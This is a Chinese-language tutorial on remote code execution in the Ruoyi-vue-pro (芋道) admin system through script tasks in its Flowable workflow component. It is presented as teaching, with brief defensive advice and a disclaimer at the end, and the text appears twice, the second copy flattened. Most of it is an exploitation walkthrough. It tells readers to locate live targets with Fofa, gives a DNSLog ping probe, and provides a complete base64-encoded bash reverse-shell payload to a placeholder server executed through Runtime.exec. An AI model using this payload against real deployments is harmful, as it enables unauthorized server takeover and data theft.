芋道管理系统RCE漏洞简谈
字数 1240 2025-08-10 22:27:01

芋道管理系统RCE漏洞分析与利用教学

一、漏洞概述

芋道管理系统(Ruoyi-vue-pro)是一个在Gitee上非常受欢迎的开源系统,Star数量超过50k。该系统集成了flowable流程组件,该组件通过解析XML模板实现流程部署与执行。由于支持解析动态脚本的特性,攻击者可以注入恶意代码实现远程代码执行(RCE)。

二、受影响系统

  • 芋道源码 Ruoyi-vue-pro
  • 其他集成流程管理功能的系统(如若依、Guss等)

三、漏洞定位

  1. 资产发现:可通过Fofa搜索"芋道管理系统"找到目标

    • 搜索地址:https://fofa.info/
  2. 漏洞组件:flowable流程组件

    • 支持多种脚本语言(JavaScript、Python、Groovy等)
    • 底层调用对应语言的解析函数(如JS调用ScriptEngine的eval函数)

四、漏洞利用步骤

1. 初步验证(DNSLog探测)

  1. 新建一个流程模板
  2. 设计模板,添加一个脚本任务:
    • 脚本类型:JavaScript
    • 脚本内容:java.lang.Runtime.getRuntime().exec("ping xxx.dnslog.cn")
  3. 保存模型,绑定表单,发布流程
  4. 发起新流程,观察DNSLog是否有解析记录

2. 获取Shell(反弹Shell)

准备工作:

构造POC注意事项:

  • java.lang.Runtime.getRuntime().exec()不能直接处理多参数命令
  • 需要将反弹Shell命令转换为Base64形式

反弹Shell POC构造:

  1. 原始反弹Shell命令:

    bash -i>& /dev/tcp/your_server_ip/port 0>&1
    
  2. Base64编码转换:

    echo "bash -i>& /dev/tcp/your_server_ip/port 0>&1" | base64
    
  3. 最终POC:

    java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwL3lvdXJfc2VydmVyX2lwL3BvcnQgMD4mMQ==}|{base64,-d}|{bash,-i}");
    
  4. 替换步骤:

    • your_server_ip替换为你的服务器IP
    • port替换为监听端口
    • 重新生成Base64编码并更新POC

执行流程:

  1. 在流程脚本任务中使用上述POC
  2. 保存并发布流程
  3. 发起新流程触发漏洞
  4. 在监听服务器上获取反弹的Shell

五、技术原理分析

  1. 漏洞根源

    • flowable组件支持动态脚本执行
    • 未对脚本内容进行充分过滤和限制
  2. 执行机制

    • JavaScript脚本调用ScriptEngine.eval()
    • 其他语言(Python、Groovy)调用对应的解析函数
  3. 潜在风险

    • 流程引擎还支持表达式解析,可能存在其他注入点
    • 几乎所有集成流程管理功能的系统都可能存在类似问题

六、防御建议

  1. 输入验证

    • 对流程脚本内容进行严格过滤
    • 限制危险函数和系统命令调用
  2. 权限控制

    • 限制流程设计权限
    • 实施最小权限原则
  3. 组件更新

    • 及时更新flowable组件到最新版本
    • 关注安全公告和补丁
  4. 监控措施

    • 监控异常流程执行
    • 记录脚本执行日志

七、参考资源

  1. 花生壳内网穿透教程
  2. Base64命令转换参考

免责声明:本文仅用于技术研究和防御目的,请勿用于非法攻击行为。进行安全测试前请确保获得合法授权。

芋道管理系统RCE漏洞分析与利用教学 一、漏洞概述 芋道管理系统(Ruoyi-vue-pro)是一个在Gitee上非常受欢迎的开源系统,Star数量超过50k。该系统集成了flowable流程组件,该组件通过解析XML模板实现流程部署与执行。由于支持解析动态脚本的特性,攻击者可以注入恶意代码实现远程代码执行(RCE)。 二、受影响系统 芋道源码 Ruoyi-vue-pro 其他集成流程管理功能的系统(如若依、Guss等) 三、漏洞定位 资产发现 :可通过Fofa搜索"芋道管理系统"找到目标 搜索地址:https://fofa.info/ 漏洞组件 :flowable流程组件 支持多种脚本语言(JavaScript、Python、Groovy等) 底层调用对应语言的解析函数(如JS调用ScriptEngine的eval函数) 四、漏洞利用步骤 1. 初步验证(DNSLog探测) 新建一个流程模板 设计模板,添加一个脚本任务: 脚本类型:JavaScript 脚本内容: java.lang.Runtime.getRuntime().exec("ping xxx.dnslog.cn") 保存模型,绑定表单,发布流程 发起新流程,观察DNSLog是否有解析记录 2. 获取Shell(反弹Shell) 准备工作: 使用花生壳进行内网穿透或准备云服务器监听 参考: 花生壳内网穿透教程 构造POC注意事项: java.lang.Runtime.getRuntime().exec() 不能直接处理多参数命令 需要将反弹Shell命令转换为Base64形式 反弹Shell POC构造: 原始反弹Shell命令: Base64编码转换: 最终POC: 替换步骤: 将 your_server_ip 替换为你的服务器IP 将 port 替换为监听端口 重新生成Base64编码并更新POC 执行流程: 在流程脚本任务中使用上述POC 保存并发布流程 发起新流程触发漏洞 在监听服务器上获取反弹的Shell 五、技术原理分析 漏洞根源 : flowable组件支持动态脚本执行 未对脚本内容进行充分过滤和限制 执行机制 : JavaScript脚本调用 ScriptEngine.eval() 其他语言(Python、Groovy)调用对应的解析函数 潜在风险 : 流程引擎还支持表达式解析,可能存在其他注入点 几乎所有集成流程管理功能的系统都可能存在类似问题 六、防御建议 输入验证 : 对流程脚本内容进行严格过滤 限制危险函数和系统命令调用 权限控制 : 限制流程设计权限 实施最小权限原则 组件更新 : 及时更新flowable组件到最新版本 关注安全公告和补丁 监控措施 : 监控异常流程执行 记录脚本执行日志 七、参考资源 花生壳内网穿透教程 Base64命令转换参考 免责声明 :本文仅用于技术研究和防御目的,请勿用于非法攻击行为。进行安全测试前请确保获得合法授权。